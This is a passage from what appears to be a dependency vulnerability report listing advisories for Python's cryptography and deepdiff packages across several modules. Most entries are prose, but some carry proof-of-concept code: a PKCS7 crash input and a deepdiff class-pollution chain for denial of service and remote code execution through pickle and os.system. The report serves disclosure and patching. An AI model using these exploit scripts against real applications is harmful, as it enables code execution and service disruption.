b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```
This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone.
This now correctly raises an exception.
This issue has been present since `update_into` was originally introduced in cryptography 1.8.
|
| GHSA-jm77-qphf-c4w8 | 41.0.3 | connector_importer_source_sftp storage_backend_sftp mail_drop_target |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-r6ph-v2qm-q3c2 | 46.0.5 | connector_importer_source_sftp storage_backend_sftp mail_drop_target |
Show details## Vulnerability Summary
The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve.
This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH, this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.
Only SECT curves are impacted by this.
## Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine
|
| PYSEC-2023-254 | 41.0.6 | connector_importer_source_sftp storage_backend_sftp mail_drop_target |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. This vulnerability has been patched in version 41.0.6.
|
| PYSEC-2023-11 | 39.0.1 | connector_importer_source_sftp storage_backend_sftp mail_drop_target |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In affected versions `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers. This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python and resulting in corrupted output. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
|
| GHSA-m959-cc7f-wv43 | 46.0.6 | connector_importer_source_sftp storage_backend_sftp mail_drop_target |
Show details## Summary
In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`.
This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead.
In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity.
See CVE-2025-61727 for a similar bypass in Go's `crypto/x509`.
## Remediation
Users should upgrade to 46.0.6 or newer.
## Attribution
Reporter: @1seal
|
| GHSA-537c-gmf6-5ccf | 48.0.1 | connector_importer_source_sftp storage_backend_sftp mail_drop_target |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| PYSEC-2026-35 | 46.0.6 | connector_importer_source_sftp storage_backend_sftp mail_drop_target |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.
|
| cryptography==2.6.1 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-r6ph-v2qm-q3c2 | 46.0.5 | auto_backup |
Show details## Vulnerability Summary
The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve.
This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH, this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.
Only SECT curves are impacted by this.
## Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine
|
| PYSEC-2021-62 | 3.2.1 | auto_backup |
Show detailspython-cryptography 3.2 is vulnerable to Bleichenbacher timing attacks in the RSA decryption API, via timed processing of valid PKCS#1 v1.5 ciphertext.
|
| GHSA-9v9h-cgj8-h64p | 42.0.2 | auto_backup |
Show detailsIssue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL
to crash leading to a potential Denial of Service attack
Impact summary: Applications loading files in the PKCS12 format from untrusted
sources might terminate abruptly.
A file in PKCS12 format can contain certificates and keys and may come from an
untrusted source. The PKCS12 specification allows certain fields to be NULL, but
OpenSSL does not correctly check for this case. This can lead to a NULL pointer
dereference that results in OpenSSL crashing. If an application processes PKCS12
files from an untrusted source using the OpenSSL APIs then that application will
be vulnerable to this issue.
OpenSSL APIs that are vulnerable to this are: PKCS12_parse(),
PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes()
and PKCS12_newpass().
We have also fixed a similar issue in SMIME_write_PKCS7(). However since this
function is related to writing data we do not consider it security significant.
The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.
|
| PYSEC-2023-11 | 39.0.1 | auto_backup |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In affected versions `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers. This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python and resulting in corrupted output. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
|
| GHSA-v8gr-m533-ghj9 | 41.0.4 | auto_backup |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-5cpq-8wj7-hf2v | 41.0.0 | auto_backup |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-537c-gmf6-5ccf | 48.0.1 | auto_backup |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-3ww4-gg4f-jr7f | 42.0.0 | auto_backup |
Show detailsA flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.
|
| GHSA-hggm-jpg3-v476 | 3.2 | auto_backup |
Show detailsRSA decryption was vulnerable to Bleichenbacher timing vulnerabilities, which would impact people using RSA decryption in online scenarios. This is fixed in cryptography 3.2.
|
| GHSA-m959-cc7f-wv43 | 46.0.6 | auto_backup |
Show details## Summary
In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`.
This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead.
In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity.
See CVE-2025-61727 for a similar bypass in Go's `crypto/x509`.
## Remediation
Users should upgrade to 46.0.6 or newer.
## Attribution
Reporter: @1seal
|
| GHSA-w7pp-m8wf-vj6r | 39.0.1 | auto_backup |
Show detailsPreviously, `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers:
```pycon
>>> outbuf = b"\x00" * 32
>>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor()
>>> c.update_into(b"\x00" * 16, outbuf)
16
>>> outbuf
b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```
This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone.
This now correctly raises an exception.
This issue has been present since `update_into` was originally introduced in cryptography 1.8.
|
| PYSEC-2026-35 | 46.0.6 | auto_backup |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.
|
| PYSEC-2024-225 | 42.0.4 | auto_backup |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Starting in version 38.0.0 and prior to version 42.0.4, if `pkcs12.serialize_key_and_certificates` is called with both a certificate whose public key did not match the provided private key and an `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)`, then a NULL pointer dereference would occur, crashing the Python process. This has been resolved in version 42.0.4, the first version in which a `ValueError` is properly raised.
|
| GHSA-jm77-qphf-c4w8 | 41.0.3 | auto_backup |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-x4qr-2fvf-3mr5 | 39.0.1 | auto_backup |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| cryptography==36.0.0 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| GHSA-v8gr-m533-ghj9 | 41.0.4 | l10n_ec_account_edi |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| PYSEC-2023-254 | 41.0.6 | l10n_ec_account_edi |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault. Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. This vulnerability has been patched in version 41.0.6.
|
| PYSEC-2026-35 | 46.0.6 | l10n_ec_account_edi |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.
|
| GHSA-r6ph-v2qm-q3c2 | 46.0.5 | l10n_ec_account_edi |
Show details## Vulnerability Summary
The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve.
This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH, this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.
Only SECT curves are impacted by this.
## Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine
|
| PYSEC-2023-11 | 39.0.1 | l10n_ec_account_edi |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In affected versions `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers. This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python and resulting in corrupted output. This now correctly raises an exception. This issue has been present since `update_into` was originally introduced in cryptography 1.8.
|
| GHSA-5cpq-8wj7-hf2v | 41.0.0 | l10n_ec_account_edi |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-w7pp-m8wf-vj6r | 39.0.1 | l10n_ec_account_edi |
Show detailsPreviously, `Cipher.update_into` would accept Python objects which implement the buffer protocol, but provide only immutable buffers:
```pycon
>>> outbuf = b"\x00" * 32
>>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor()
>>> c.update_into(b"\x00" * 16, outbuf)
16
>>> outbuf
b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```
This would allow immutable objects (such as `bytes`) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone.
This now correctly raises an exception.
This issue has been present since `update_into` was originally introduced in cryptography 1.8.
|
| GHSA-jfhm-5ghh-2f97 | 41.0.6 | l10n_ec_account_edi |
Show details### Summary
Calling `load_pem_pkcs7_certificates` or `load_der_pkcs7_certificates` could lead to a NULL-pointer dereference and segfault.
### PoC
Here is a Python code that triggers the issue:
```python
from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates
pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""
der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"
load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)
```
### Impact
Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.
|
| GHSA-m959-cc7f-wv43 | 46.0.6 | l10n_ec_account_edi |
Show details## Summary
In versions of cryptography prior to 46.0.5, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named `bar.example.com` to validate against a wildcard leaf certificate for `*.example.com`, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for `bar.example.com`.
This behavior resulted from a gap between RFC 5280 (which defines Name Constraint semantics) and RFC 9525 (which defines service identity semantics): put together, neither states definitively whether Name Constraints should be applied to peer names. To close this gap, cryptography now conservatively rejects any validation where the peer name would be rejected by a name constraint if it were a SAN instead.
In practice, exploitation of this bypass requires an uncommon X.509 topology, one that the Web PKI avoids because it exhibits these kinds of problems. Consequently, we consider this a medium-to-low impact severity.
See CVE-2025-61727 for a similar bypass in Go's `crypto/x509`.
## Remediation
Users should upgrade to 46.0.6 or newer.
## Attribution
Reporter: @1seal
|
| GHSA-537c-gmf6-5ccf | 48.0.1 | l10n_ec_account_edi |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in wheels prior to cryptograph 48.01 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://openssl-library.org/news/secadv/20260609.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-9v9h-cgj8-h64p | 42.0.2 | l10n_ec_account_edi |
Show detailsIssue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL
to crash leading to a potential Denial of Service attack
Impact summary: Applications loading files in the PKCS12 format from untrusted
sources might terminate abruptly.
A file in PKCS12 format can contain certificates and keys and may come from an
untrusted source. The PKCS12 specification allows certain fields to be NULL, but
OpenSSL does not correctly check for this case. This can lead to a NULL pointer
dereference that results in OpenSSL crashing. If an application processes PKCS12
files from an untrusted source using the OpenSSL APIs then that application will
be vulnerable to this issue.
OpenSSL APIs that are vulnerable to this are: PKCS12_parse(),
PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes()
and PKCS12_newpass().
We have also fixed a similar issue in SMIME_write_PKCS7(). However since this
function is related to writing data we do not consider it security significant.
The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue.
|
| PYSEC-2024-225 | 42.0.4 | l10n_ec_account_edi |
Show detailscryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Starting in version 38.0.0 and prior to version 42.0.4, if `pkcs12.serialize_key_and_certificates` is called with both a certificate whose public key did not match the provided private key and an `encryption_algorithm` with `hmac_hash` set (via `PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)`, then a NULL pointer dereference would occur, crashing the Python process. This has been resolved in version 42.0.4, the first version in which a `ValueError` is properly raised.
|
| GHSA-jm77-qphf-c4w8 | 41.0.3 | l10n_ec_account_edi |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| GHSA-3ww4-gg4f-jr7f | 42.0.0 | l10n_ec_account_edi |
Show detailsA flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.
|
| GHSA-x4qr-2fvf-3mr5 | 39.0.1 | l10n_ec_account_edi |
Show detailspyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt.
If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.
|
| deepdiff<8 | |||
|---|---|---|---|
| ID | Fixed In | Affected modules | Details |
| PYSEC-2026-327 | 8.6.1 | l10n_es_aeat_sii_match |
Show details### Summary
[Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization).
The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled.
Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.
### Details
The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle).
When it takes a dictionary, it is usually in the following format:
```py
Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})
```
Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23
However, this code only runs when parsing the path from a string.
The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple:
https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53
This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:
```py
Delta(
{
"dictionary_item_added": {
(
("root", "GETATTR"),
("__init__", "GETATTR"),
("__globals__", "GETATTR"),
("PWNED", "GET"),
): 1337
}
},
)
```
Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them.
Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list.
https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98
However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`.
This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example.
#### Using dict
Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there.
However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python.
Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list.
### Proof of Concept
With deepdiff 8.6.0 installed, run the following scripts for each proof of concept.
All input to `Delta` is assumed to be user-controlled.
#### Denial of Service
This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked.
```py
# ------------[ Setup ]------------
import pickle
from deepdiff.helper import Opcode
pollute_int = pickle.dumps(
{
"values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
"dictionary_item_added": {
(
("root", "GETATTR"),
("tmp", "GET"),
("__repr__", "GETATTR"),
("__globals__", "GETATTR"),
("__builtins__", "GET"),
("int", "GET"),
): "no longer a class"
},
}
)
assert isinstance(pollute_int, bytes)
# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.
from deepdiff import Delta
# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}
# Before pollution
print(int("41") + 1)
# Apply Delta to mydict
result = mydict + Delta(pollute_int)
print(int("1337"))
```
```shell
$ python poc_dos.py
42
Traceback (most recent call last):
File "/tmp/poc_dos.py", line 43, in <module>
print(int("1337"))
TypeError: 'str' object is not callable
```
#### Remote Code Execution
This script will create a file at `/tmp/pwned` with the output of `id`.
```py
# ------------[ Setup ]------------
import os
import pickle
from deepdiff.helper import Opcode
pollute_safe_to_import = pickle.dumps(
{
"values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
"set_item_added": {
(
("root", "GETATTR"),
("tmp", "GET"),
("__repr__", "GETATTR"),
("__globals__", "GETATTR"),
("sys", "GET"),
("modules", "GETATTR"),
("deepdiff.serialization", "GET"),
("SAFE_TO_IMPORT", "GETATTR"),
): set(["posix.system"])
},
}
)
# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
class RCE:
def __reduce__(self):
cmd = "id > /tmp/pwned"
return os.system, (cmd,)
# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})
assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)
# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.
from deepdiff import Delta
# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}
# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)
Delta(rce_pickle) # no need to apply this Delta
```
```shell
$ python poc_rce.py
$ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)
```
### Who is affected?
Only applications that pass (untrusted) user input directly into `Delta` are affected.
While input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.
### Mitigations
A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser.
This would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`,
and possibly in `deepdiff.delta.Delta._get_elements_and_details`.
Example code that raises an error when traversing these properties:
```py
if elem.startswith("__") and elem.endswith("__"):
raise ValueError("traversing dunder attributes is not allowed")
```
However, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all).
This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180
|
| GHSA-mw26-5g2v-hqw3 | 8.6.1 | l10n_es_aeat_sii_match |
Show details### Summary
[Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization).
The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled.
Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.
### Details
The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle).
When it takes a dictionary, it is usually in the following format:
```py
Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})
```
Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23
However, this code only runs when parsing the path from a string.
The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple:
https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53
This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:
```py
Delta(
{
"dictionary_item_added": {
(
("root", "GETATTR"),
("__init__", "GETATTR"),
("__globals__", "GETATTR"),
("PWNED", "GET"),
): 1337
}
},
)
```
Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them.
